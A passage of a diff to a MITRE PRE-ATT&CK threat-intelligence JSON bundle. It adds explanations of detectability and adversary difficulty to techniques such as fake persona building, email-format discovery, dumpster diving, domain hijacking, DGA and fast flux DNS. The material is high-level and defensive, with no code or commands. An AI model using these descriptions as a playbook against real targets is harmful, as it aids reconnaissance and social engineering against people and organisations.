             "id": "attack-pattern--6063b486-a247-499b-976a-9de16f4e83bc",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Develop KITs/KIQs",
             "description": "Leadership derives Key Intelligence Topics (KITs) and Key Intelligence Questions (KIQs) from the areas of most interest to them.  KITs are an expression of management's intelligence needs with respect to early warning, strategic and operational decisions, knowing the competition, and understanding the competitive situation. KIQs are the critical questions aligned by KIT which provide the basis for collection plans, create a context for analytic work, and/or identify necessary external operations. (Citation: Herring1999)\n\nDetectable by Common Defenses: No\n\nDifficulty for the Adversary: Yes",
             "kill_chain_phases": [
@@ -2651,9 +2799,9 @@
             "id": "attack-pattern--271e6d40-e191-421a-8f87-a8102452c201",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Develop social network persona digital footprint",
-            "description": "Both newly built personas and pre-compromised personas may require development of additional documentation to make them seem real. This could include filling out profile information, developing social networks, or incorporating photos. (Citation: NEWSCASTER2014) (Citation: BlackHatRobinSage) (Citation: RobinSageInterview)\n\nDetectable by Common Defenses: No\n\nDifficulty for the Adversary: Yes",
+            "description": "Both newly built personas and pre-compromised personas may require development of additional documentation to make them seem real. This could include filling out profile information, developing social networks, or incorporating photos. (Citation: NEWSCASTER2014) (Citation: BlackHatRobinSage) (Citation: RobinSageInterview)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Unless there is some threat intelligence reporting, these users are hard to differentiate.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: The only difference between an adversary conducting this technique and a typical user, is the adversary's intent - to target an individual for compromise.",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-pre-attack",
@@ -2683,16 +2831,18 @@
                 "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
             ],
             "x_mitre_detectable_by_common_defenses": "No",
-            "x_mitre_difficulty_for_adversary": "Yes"
+            "x_mitre_detectable_by_common_defenses_explanation": "Unless there is some threat intelligence reporting, these users are hard to differentiate.",
+            "x_mitre_difficulty_for_adversary": "Yes",
+            "x_mitre_difficulty_for_adversary_explanation": "The only difference between an adversary conducting this technique and a typical user, is the adversary's intent - to target an individual for compromise."
         },
         {
             "type": "attack-pattern",
             "id": "attack-pattern--82bbd209-f516-45e0-9542-4ffbbc2a8717",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Discover new exploits and monitor exploit-provider forums",
-            "description": "An exploit takes advantage of a bug or vulnerability in order to cause unintended or unanticipated behavior to occur on computer hardware or software. The adversary may need to discover new exploits when existing exploits are no longer relevant to the environment they are trying to compromise. An adversary may monitor exploit provider forums to understand the state of existing, as well as newly discovered, exploits. (Citation: EquationQA)\n\nDetectable by Common Defenses: No\n\nDifficulty for the Adversary: Yes",
+            "description": "An exploit takes advantage of a bug or vulnerability in order to cause unintended or unanticipated behavior to occur on computer hardware or software. The adversary may need to discover new exploits when existing exploits are no longer relevant to the environment they are trying to compromise. An adversary may monitor exploit provider forums to understand the state of existing, as well as newly discovered, exploits. (Citation: EquationQA)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Public source external to the defender's organization.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Many public sources exist for this information.",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-pre-attack",
@@ -2714,16 +2864,18 @@
                 "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
             ],
             "x_mitre_detectable_by_common_defenses": "No",
-            "x_mitre_difficulty_for_adversary": "Yes"
+            "x_mitre_detectable_by_common_defenses_explanation": "Public source external to the defender's organization.",
+            "x_mitre_difficulty_for_adversary": "Yes",
+            "x_mitre_difficulty_for_adversary_explanation": "Many public sources exist for this information."
         },
         {
             "type": "attack-pattern",
             "id": "attack-pattern--ef0f816a-d561-4953-84c6-2a2936c96957",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Discover target logon/email address format",
-            "description": "Email addresses, logon credentials, and other forms of online identification typically share a common format. This makes guessing other credentials within the same domain easier. For example if a known email address is first.last@company.com it is likely that others in the company will have an email in the same format. (Citation: RSA-APTRecon)\n\nDetectable by Common Defenses: No\n\nDifficulty for the Adversary: Yes",
+            "description": "Email addresses, logon credentials, and other forms of online identification typically share a common format. This makes guessing other credentials within the same domain easier. For example if a known email address is first.last@company.com it is likely that others in the company will have an email in the same format. (Citation: RSA-APTRecon)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Easily determined and not intended to be protected information. Publicly collected and shared repositories of email addresses exist.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Scraping of known email addresses from the target will likely reveal the target standard for address/username format.  This information is easily discoverable.",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-pre-attack",
@@ -2745,16 +2897,18 @@
                 "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
             ],
             "x_mitre_detectable_by_common_defenses": "No",
-            "x_mitre_difficulty_for_adversary": "Yes"
+            "x_mitre_detectable_by_common_defenses_explanation": "Easily determined and not intended to be protected information. Publicly collected and shared repositories of email addresses exist.",
+            "x_mitre_difficulty_for_adversary": "Yes",
+            "x_mitre_difficulty_for_adversary_explanation": "Scraping of known email addresses from the target will likely reveal the target standard for address/username format.  This information is easily discoverable."
         },
         {
             "type": "attack-pattern",
             "id": "attack-pattern--2f442206-2983-4fc2-93fd-0a828e026412",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Disseminate removable media",
-            "description": "Removable media containing malware can be injected in to a supply chain at large or small scale. It can also be physically placed for someone to find or can be sent to someone in a more targeted manner. The intent is to have the user utilize the removable media on a system where the adversary is trying to gain access. (Citation: USBMalwareAttacks) (Citation: FPDefendNewDomain) (Citation: ParkingLotUSB)\n\nDetectable by Common Defenses: No\n\nDifficulty for the Adversary: Yes",
+            "description": "Removable media containing malware can be injected in to a supply chain at large or small scale. It can also be physically placed for someone to find or can be sent to someone in a more targeted manner. The intent is to have the user utilize the removable media on a system where the adversary is trying to gain access. (Citation: USBMalwareAttacks) (Citation: FPDefendNewDomain) (Citation: ParkingLotUSB)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: From a technical perspective, detection of an adversary disseminating removable media is not possible as there is no technical element involved until the compromise phase.  Most facilities generally do not perform extensive physical security patrols, which would be necessary in order to promptly identify an adversary deploying removable media to be used in an attack.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Commonly executed technique by penetration testers to gain access to networks via end users who are innately trusting of newly found or available technology.",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-pre-attack",
@@ -2784,14 +2938,16 @@
                 "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
             ],
             "x_mitre_detectable_by_common_defenses": "No",
-            "x_mitre_difficulty_for_adversary": "Yes"
+            "x_mitre_detectable_by_common_defenses_explanation": "From a technical perspective, detection of an adversary disseminating removable media is not possible as there is no technical element involved until the compromise phase.  Most facilities generally do not perform extensive physical security patrols, which would be necessary in order to promptly identify an adversary deploying removable media to be used in an attack.",
+            "x_mitre_difficulty_for_adversary": "Yes",
+            "x_mitre_difficulty_for_adversary_explanation": "Commonly executed technique by penetration testers to gain access to networks via end users who are innately trusting of newly found or available technology."
         },
         {
             "type": "attack-pattern",
             "id": "attack-pattern--d2c4206a-a431-4494-834d-52944a79e9f4",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Distribute malicious software development tools",
             "description": "An adversary could distribute malicious software development tools (e.g., compiler) that hide malicious behavior in software built using the tools. (Citation: PA XcodeGhost) (Citation: Reflections on Trusting Trust)\n\nDetectable by Common Defenses: No\n\nDifficulty for the Adversary: No",
             "kill_chain_phases": [
@@ -2826,9 +2982,9 @@
             "id": "attack-pattern--274164c6-4297-42d4-84b5-2369e51013fe",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Domain Generation Algorithms (DGA)",
-            "description": "The use of algorithms in malware to periodically generate a large number of domain names which function as rendezvous points for malware command and control servers. (Citation: DamballaDGA) (Citation: DambballaDGACyberCriminals)\n\nDetectable by Common Defenses: Partial\n\nDifficulty for the Adversary: Yes",
+            "description": "The use of algorithms in malware to periodically generate a large number of domain names which function as rendezvous points for malware command and control servers. (Citation: DamballaDGA) (Citation: DambballaDGACyberCriminals)\n\nDetectable by Common Defenses: Partial\n\nDetectable by Common Defenses explanation: It is possible to detect the use of DGAs; however, defenders have largely not been successful at mitigating the domains because they are generally registered less than an hour before they are used and disposed of within 24 hours.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: This technique does not require a significant amount of sophistication while still being highly effective.  It was popularized by the Conficker worms but is prevalent in crimeware such as Murofet and BankPatch.",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-pre-attack",
@@ -2854,16 +3010,18 @@
                 "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
             ],
             "x_mitre_detectable_by_common_defenses": "Partial",
-            "x_mitre_difficulty_for_adversary": "Yes"
+            "x_mitre_detectable_by_common_defenses_explanation": "It is possible to detect the use of DGAs; however, defenders have largely not been successful at mitigating the domains because they are generally registered less than an hour before they are used and disposed of within 24 hours.",
+            "x_mitre_difficulty_for_adversary": "Yes",
+            "x_mitre_difficulty_for_adversary_explanation": "This technique does not require a significant amount of sophistication while still being highly effective.  It was popularized by the Conficker worms but is prevalent in crimeware such as Murofet and BankPatch."
         },
         {
             "type": "attack-pattern",
             "id": "attack-pattern--aadaee0d-794c-4642-8293-7ec22a99fb1a",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Domain registration hijacking",
-            "description": "Domain Registration Hijacking is the act of changing the registration of a domain name without the permission of the original registrant. (Citation: ICANNDomainNameHijacking)\n\nDetectable by Common Defenses: No\n\nDifficulty for the Adversary: Yes",
+            "description": "Domain Registration Hijacking is the act of changing the registration of a domain name without the permission of the original registrant. (Citation: ICANNDomainNameHijacking)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Generally not easily detectable unless domain registrar provides alerting on any updates.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Requires adversary to gain access to an email account for person listed as the domain registrar/POC.  The adversary can then claim that they forgot their password in order to make changes to the domain registration.  Other possibilities include social engineering a domain registration help desk to gain access to an account or take advantage of renewal process gaps.",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-pre-attack",
@@ -2885,16 +3043,18 @@
                 "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
             ],
             "x_mitre_detectable_by_common_defenses": "No",
-            "x_mitre_difficulty_for_adversary": "Yes"
+            "x_mitre_detectable_by_common_defenses_explanation": "Generally not easily detectable unless domain registrar provides alerting on any updates.",
+            "x_mitre_difficulty_for_adversary": "Yes",
+            "x_mitre_difficulty_for_adversary_explanation": "Requires adversary to gain access to an email account for person listed as the domain registrar/POC.  The adversary can then claim that they forgot their password in order to make changes to the domain registration.  Other possibilities include social engineering a domain registration help desk to gain access to an account or take advantage of renewal process gaps."
         },
         {
             "type": "attack-pattern",
             "id": "attack-pattern--6c79d654-6506-4f33-b48f-c80babdcc52d",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Dumpster dive",
-            "description": "Dumpster diving is looking through waste for information on technology, people, and/or organizational items of interest. (Citation: FriedDumpsters)\n\nDetectable by Common Defenses: Yes\n\nDifficulty for the Adversary: Yes",
+            "description": "Dumpster diving is looking through waste for information on technology, people, and/or organizational items of interest. (Citation: FriedDumpsters)\n\nDetectable by Common Defenses: Yes\n\nDetectable by Common Defenses explanation: Strong physical security and monitoring will detect this behavior if performed on premises.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Not difficult if waste is placed in an unsecured or minimally secured area before collection.",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-pre-attack",
@@ -2916,16 +3076,18 @@
                 "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
             ],
             "x_mitre_detectable_by_common_defenses": "Yes",
-            "x_mitre_difficulty_for_adversary": "Yes"
+            "x_mitre_detectable_by_common_defenses_explanation": "Strong physical security and monitoring will detect this behavior if performed on premises.",
+            "x_mitre_difficulty_for_adversary": "Yes",
+            "x_mitre_difficulty_for_adversary_explanation": "Not difficult if waste is placed in an unsecured or minimally secured area before collection."
         },
         {
             "type": "attack-pattern",
             "id": "attack-pattern--20a66013-8dab-4ca3-a67d-766c842c561c",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Dynamic DNS",
-            "description": "Dynamic DNS is a method of automatically updating a name in the DNS system. Providers offer this rapid reconfiguration of IPs to hostnames as a service. (Citation: DellMirage2012)\n\nDetectable by Common Defenses: No\n\nDifficulty for the Adversary: Yes",
+            "description": "Dynamic DNS is a method of automatically updating a name in the DNS system. Providers offer this rapid reconfiguration of IPs to hostnames as a service. (Citation: DellMirage2012)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Defender will not know at first use what is valid or hostile traffic without more context. It is possible, however, for defenders to see if the PTR record for an address is hosted by a known DDNS provider. There is potential to assign some level of risk based on this.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Flexible and re-configurable command and control servers, along with deniable ownership and reduced cost of ownership.",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-pre-attack",
@@ -2947,16 +3109,18 @@
                 "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
             ],
             "x_mitre_detectable_by_common_defenses": "No",
-            "x_mitre_difficulty_for_adversary": "Yes"
+            "x_mitre_detectable_by_common_defenses_explanation": "Defender will not know at first use what is valid or hostile traffic without more context. It is possible, however, for defenders to see if the PTR record for an address is hosted by a known DDNS provider. There is potential to assign some level of risk based on this.",
+            "x_mitre_difficulty_for_adversary": "Yes",
+            "x_mitre_difficulty_for_adversary_explanation": "Flexible and re-configurable command and control servers, along with deniable ownership and reduced cost of ownership."
         },
         {
             "type": "attack-pattern",
             "id": "attack-pattern--54eb2bab-125f-4d1c-b999-0c692860bafe",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Dynamic DNS",
-            "description": "Dynamic DNS is a automated method to rapidly update the domain name system mapping of hostnames to IPs. (Citation: FireEyeSupplyChain)\n\nDetectable by Common Defenses: No\n\nDifficulty for the Adversary: Yes",
+            "description": "Dynamic DNS is a automated method to rapidly update the domain name system mapping of hostnames to IPs. (Citation: FireEyeSupplyChain)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Defender will not know at first use what is valid or hostile traffic without more context.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: It is relatively easy to subscribe to dynamic DNS providers or find ways to get different IP addresses from a cloud provider.",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-pre-attack",
@@ -2978,16 +3142,18 @@
                 "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
             ],
             "x_mitre_detectable_by_common_defenses": "No",
-            "x_mitre_difficulty_for_adversary": "Yes"
+            "x_mitre_detectable_by_common_defenses_explanation": "Defender will not know at first use what is valid or hostile traffic without more context.",
+            "x_mitre_difficulty_for_adversary": "Yes",
+            "x_mitre_difficulty_for_adversary_explanation": "It is relatively easy to subscribe to dynamic DNS providers or find ways to get different IP addresses from a cloud provider."
         },
         {
             "type": "attack-pattern",
             "id": "attack-pattern--78ae433b-289d-4c8d-b8c1-f8de0b7f9090",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Enumerate client configurations",
-            "description": "Client configurations information such as the operating system and web browser, along with additional information such as version or language, are often transmitted as part of web browsing communications.  This can be accomplished in several ways including use of a compromised web site to collect details on visiting computers. (Citation: UnseenWorldOfCookies) (Citation: Panopticlick)\n\nDetectable by Common Defenses: No\n\nDifficulty for the Adversary: Yes",
+            "description": "Client configurations information such as the operating system and web browser, along with additional information such as version or language, are often transmitted as part of web browsing communications.  This can be accomplished in several ways including use of a compromised web site to collect details on visiting computers. (Citation: UnseenWorldOfCookies) (Citation: Panopticlick)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Typical information collected as part of accessing web sites (e.g., operating system, browser version, basic configurations).\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Basic web scripting capability to collect information of interest on users of interest.  Requires a compromised web site and the users of interest to navigate there.",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-pre-attack",
@@ -3013,16 +3179,18 @@
                 "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
             ],
             "x_mitre_detectable_by_common_defenses": "No",
-            "x_mitre_difficulty_for_adversary": "Yes"
+            "x_mitre_detectable_by_common_defenses_explanation": "Typical information collected as part of accessing web sites (e.g., operating system, browser version, basic configurations).",
+            "x_mitre_difficulty_for_adversary": "Yes",
+            "x_mitre_difficulty_for_adversary_explanation": "Basic web scripting capability to collect information of interest on users of interest.  Requires a compromised web site and the users of interest to navigate there."
         },
         {
             "type": "attack-pattern",
             "id": "attack-pattern--ef6197fd-a58a-4006-bfd6-1d7765d8409d",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Enumerate externally facing software applications technologies, languages, and dependencies",
-            "description": "Software applications will be built using different technologies, languages, and dependencies. This information may reveal vulnerabilities or opportunities to an adversary. (Citation: CommonApplicationAttacks) (Citation: WebApplicationSecurity) (Citation: SANSTop25)\n\nDetectable by Common Defenses: Yes\n\nDifficulty for the Adversary: Yes",
+            "description": "Software applications will be built using different technologies, languages, and dependencies. This information may reveal vulnerabilities or opportunities to an adversary. (Citation: CommonApplicationAttacks) (Citation: WebApplicationSecurity) (Citation: SANSTop25)\n\nDetectable by Common Defenses: Yes\n\nDetectable by Common Defenses explanation: Impossible to differentiate between an adversary and a normal user when accessing a site to determine the languages/technologies used.  If active scanning tools are employed, then the defender has the ability to detect.  However, this is typically not acted upon due to the large volume of this type of traffic and it will likely not prompt the defender to take any actionable defense.  Defender review of access logs may provide some insight based on trends or patterns.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Basic interaction with the site provides insight into the programming languages/technologies used for a given web site.  Additionally many of the active scanning tools will also provide some insight into this information.",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-pre-attack",
@@ -3052,16 +3220,18 @@
                 "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
             ],
             "x_mitre_detectable_by_common_defenses": "Yes",
-            "x_mitre_difficulty_for_adversary": "Yes"
+            "x_mitre_detectable_by_common_defenses_explanation": "Impossible to differentiate between an adversary and a normal user when accessing a site to determine the languages/technologies used.  If active scanning tools are employed, then the defender has the ability to detect.  However, this is typically not acted upon due to the large volume of this type of traffic and it will likely not prompt the defender to take any actionable defense.  Defender review of access logs may provide some insight based on trends or patterns.",
+            "x_mitre_difficulty_for_adversary": "Yes",
+            "x_mitre_difficulty_for_adversary_explanation": "Basic interaction with the site provides insight into the programming languages/technologies used for a given web site.  Additionally many of the active scanning tools will also provide some insight into this information."
         },
         {
             "type": "attack-pattern",
             "id": "attack-pattern--8a64f743-acaa-49d5-9d3d-ae5616a3876f",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Exploit public-facing application",
-            "description": "The use of software, data, or commands to take advantage of a weakness in a computer system or program in order to cause unintended or unanticipated behavior. The weakness in the system can be a bug, a glitch, or a design vulnerability. (Citation: GoogleCrawlerSQLInj)\n\nDetectable by Common Defenses: Yes\n\nDifficulty for the Adversary: Yes",
+            "description": "The use of software, data, or commands to take advantage of a weakness in a computer system or program in order to cause unintended or unanticipated behavior. The weakness in the system can be a bug, a glitch, or a design vulnerability. (Citation: GoogleCrawlerSQLInj)\n\nDetectable by Common Defenses: Yes\n\nDetectable by Common Defenses explanation: If the application and network are designed well, the defender should be able to utilize logging and application logic to catch and deflect SQL injection attacks.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Launching a SQL injection attack is not overly complex and a commonly used technique.  This technique, however, requires finding a vulnerable application.",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-pre-attack",
@@ -3083,16 +3253,18 @@
                 "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
             ],
             "x_mitre_detectable_by_common_defenses": "Yes",
-            "x_mitre_difficulty_for_adversary": "Yes"
+            "x_mitre_detectable_by_common_defenses_explanation": "If the application and network are designed well, the defender should be able to utilize logging and application logic to catch and deflect SQL injection attacks.",
+            "x_mitre_difficulty_for_adversary": "Yes",
+            "x_mitre_difficulty_for_adversary_explanation": "Launching a SQL injection attack is not overly complex and a commonly used technique.  This technique, however, requires finding a vulnerable application."
         },
         {
             "type": "attack-pattern",
             "id": "attack-pattern--248cbfdd-fec4-451b-b2a9-e46d4b268e30",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Fast Flux DNS",
-            "description": "A technique in which a fully qualified domain name has multiple IP addresses assigned to it which are swapped with extreme frequency, using a combination of round robin IP address and short Time-To-Live (TTL) for a DNS resource record. (Citation: HoneynetFastFlux) (Citation: MisnomerFastFlux) (Citation: MehtaFastFluxPt1) (Citation: MehtaFastFluxPt2)\n\nDetectable by Common Defenses: Partial\n\nDifficulty for the Adversary: Yes",
+            "description": "A technique in which a fully qualified domain name has multiple IP addresses assigned to it which are swapped with extreme frequency, using a combination of round robin IP address and short Time-To-Live (TTL) for a DNS resource record. (Citation: HoneynetFastFlux) (Citation: MisnomerFastFlux) (Citation: MehtaFastFluxPt1) (Citation: MehtaFastFluxPt2)\n\nDetectable by Common Defenses: Partial\n\nDetectable by Common Defenses explanation: In general, detecting usage of fast flux DNS is difficult due to web traffic load balancing that services client requests quickly.  In single flux cases only IP addresses change for static domain names.  In double flux cases, nothing is static.  Defenders such as IPS, domain registrars, and service providers are likely in the best position for detection.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Fast flux is generally simple for an adversary to set up and offers several advantages.  Such advantages include limited audit trails for defenders to find, ease of operation for an adversary to maintain, and support for main nodes.",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-pre-attack",
@@ -3126,16 +3298,18 @@
                 "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
             ],
             "x_mitre_detectable_by_common_defenses": "Partial",
-            "x_mitre_difficulty_for_adversary": "Yes"
+            "x_mitre_detectable_by_common_defenses_explanation": "In general, detecting usage of fast flux DNS is difficult due to web traffic load balancing that services client requests quickly.  In single flux cases only IP addresses change for static domain names.  In double flux cases, nothing is static.  Defenders such as IPS, domain registrars, and service providers are likely in the best position for detection.",
+            "x_mitre_difficulty_for_adversary": "Yes",
+            "x_mitre_difficulty_for_adversary_explanation": "Fast flux is generally simple for an adversary to set up and offers several advantages.  Such advantages include limited audit trails for defenders to find, ease of operation for an adversary to maintain, and support for main nodes."
         },
         {
             "type": "attack-pattern",
             "id": "attack-pattern--eacd1efe-ee30-4b03-b58f-5b3b1adfe45d",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Friend/Follow/Connect to targets of interest",
-            "description": "A form of social engineering designed build trust and to lay the foundation for future interactions or attacks. (Citation: BlackHatRobinSage)\n\nDetectable by Common Defenses: No\n\nDifficulty for the Adversary: Yes",
+            "description": "A form of social engineering designed build trust and to lay the foundation for future interactions or attacks. (Citation: BlackHatRobinSage)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Users have the ability to detect and report non-authenticated individuals requesting to follow, friend or connect to a target.  However the rigidity in validating the users is not typically followed by standard users.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Connecting with \"friends\" is a fundamental requirement for social media - without it, social media is worthless.  An adversary can easily create a profile and request targets to validate the requests.",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-pre-attack",
@@ -3157,16 +3331,18 @@
                 "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
             ],
             "x_mitre_detectable_by_common_defenses": "No",
-            "x_mitre_difficulty_for_adversary": "Yes"
+            "x_mitre_detectable_by_common_defenses_explanation": "Users have the ability to detect and report non-authenticated individuals requesting to follow, friend or connect to a target.  However the rigidity in validating the users is not typically followed by standard users.",
+            "x_mitre_difficulty_for_adversary": "Yes",
+            "x_mitre_difficulty_for_adversary_explanation": "Connecting with \"friends\" is a fundamental requirement for social media - without it, social media is worthless.  An adversary can easily create a profile and request targets to validate the requests."
         },
         {
             "type": "attack-pattern",
             "id": "attack-pattern--103d72e6-7e0d-4b3a-9373-c38567305c33",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Friend/Follow/Connect to targets of interest",
-            "description": "Once a persona has been developed an adversary will use it to create connections to targets of interest. These connections may be direct or may include trying to connect through others. (Citation: NEWSCASTER2014) (Citation: BlackHatRobinSage)\n\nDetectable by Common Defenses: No\n\nDifficulty for the Adversary: Yes",
+            "description": "Once a persona has been developed an adversary will use it to create connections to targets of interest. These connections may be direct or may include trying to connect through others. (Citation: NEWSCASTER2014) (Citation: BlackHatRobinSage)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Unless there is some threat intelligence reporting, these users are hard to differentiate.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: The nature of social media is such that the adversary naturally connects to a target of interest without suspicion, given the purpose of the platform is to promote connections between individuals.  Performing activities like typical users, but with specific intent in mind.",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-pre-attack",
@@ -3192,16 +3368,18 @@
                 "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
             ],
             "x_mitre_detectable_by_common_defenses": "No",
-            "x_mitre_difficulty_for_adversary": "Yes"
+            "x_mitre_detectable_by_common_defenses_explanation": "Unless there is some threat intelligence reporting, these users are hard to differentiate.",
+            "x_mitre_difficulty_for_adversary": "Yes",
+            "x_mitre_difficulty_for_adversary_explanation": "The nature of social media is such that the adversary naturally connects to a target of interest without suspicion, given the purpose of the platform is to promote connections between individuals.  Performing activities like typical users, but with specific intent in mind."
         },
         {
             "type": "attack-pattern",
             "id": "attack-pattern--e754fa49-2db1-416b-92db-7f886decd099",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Generate analyst intelligence requirements",
-            "description": "Analysts may receive Key Intelligence Topics (KITs) and Key Intelligence Questions (KIQs) from leadership or key decision makers and generate intelligence requirements to articulate intricacies of information required on a topic or question. (Citation: Herring1999)\n\nDetectable by Common Defenses: No\n\nDifficulty for the Adversary: Yes",
